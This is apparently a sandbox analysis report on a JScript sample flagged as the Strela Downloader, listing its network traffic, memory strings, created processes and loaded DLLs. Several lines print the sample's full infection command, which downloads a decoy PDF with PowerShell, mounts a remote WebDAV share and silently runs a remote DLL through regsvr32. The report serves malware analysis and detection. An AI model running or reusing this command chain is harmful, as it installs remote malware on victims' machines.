Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1431125720.000001855E35C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1500026105.0000021CF5781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1485965633.0000021CF5781000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500026105.0000021CF5781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000003.1485965633.0000021CF577A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1500026105.0000021CF577A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.1499942393.0000021CF5748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacemk
Source: svchost.exe, 00000009.00000002.2724142815.000002D92D800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1489269765.000002D92D6D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7820, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 17231147702223410654.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7924:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nil2t4e2.3nn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2052 --field-trial-handle=1608,i,8740673078040031628,4387485080927596504,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2052 --field-trial-handle=1608,i,8740673078040031628,4387485080927596504,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
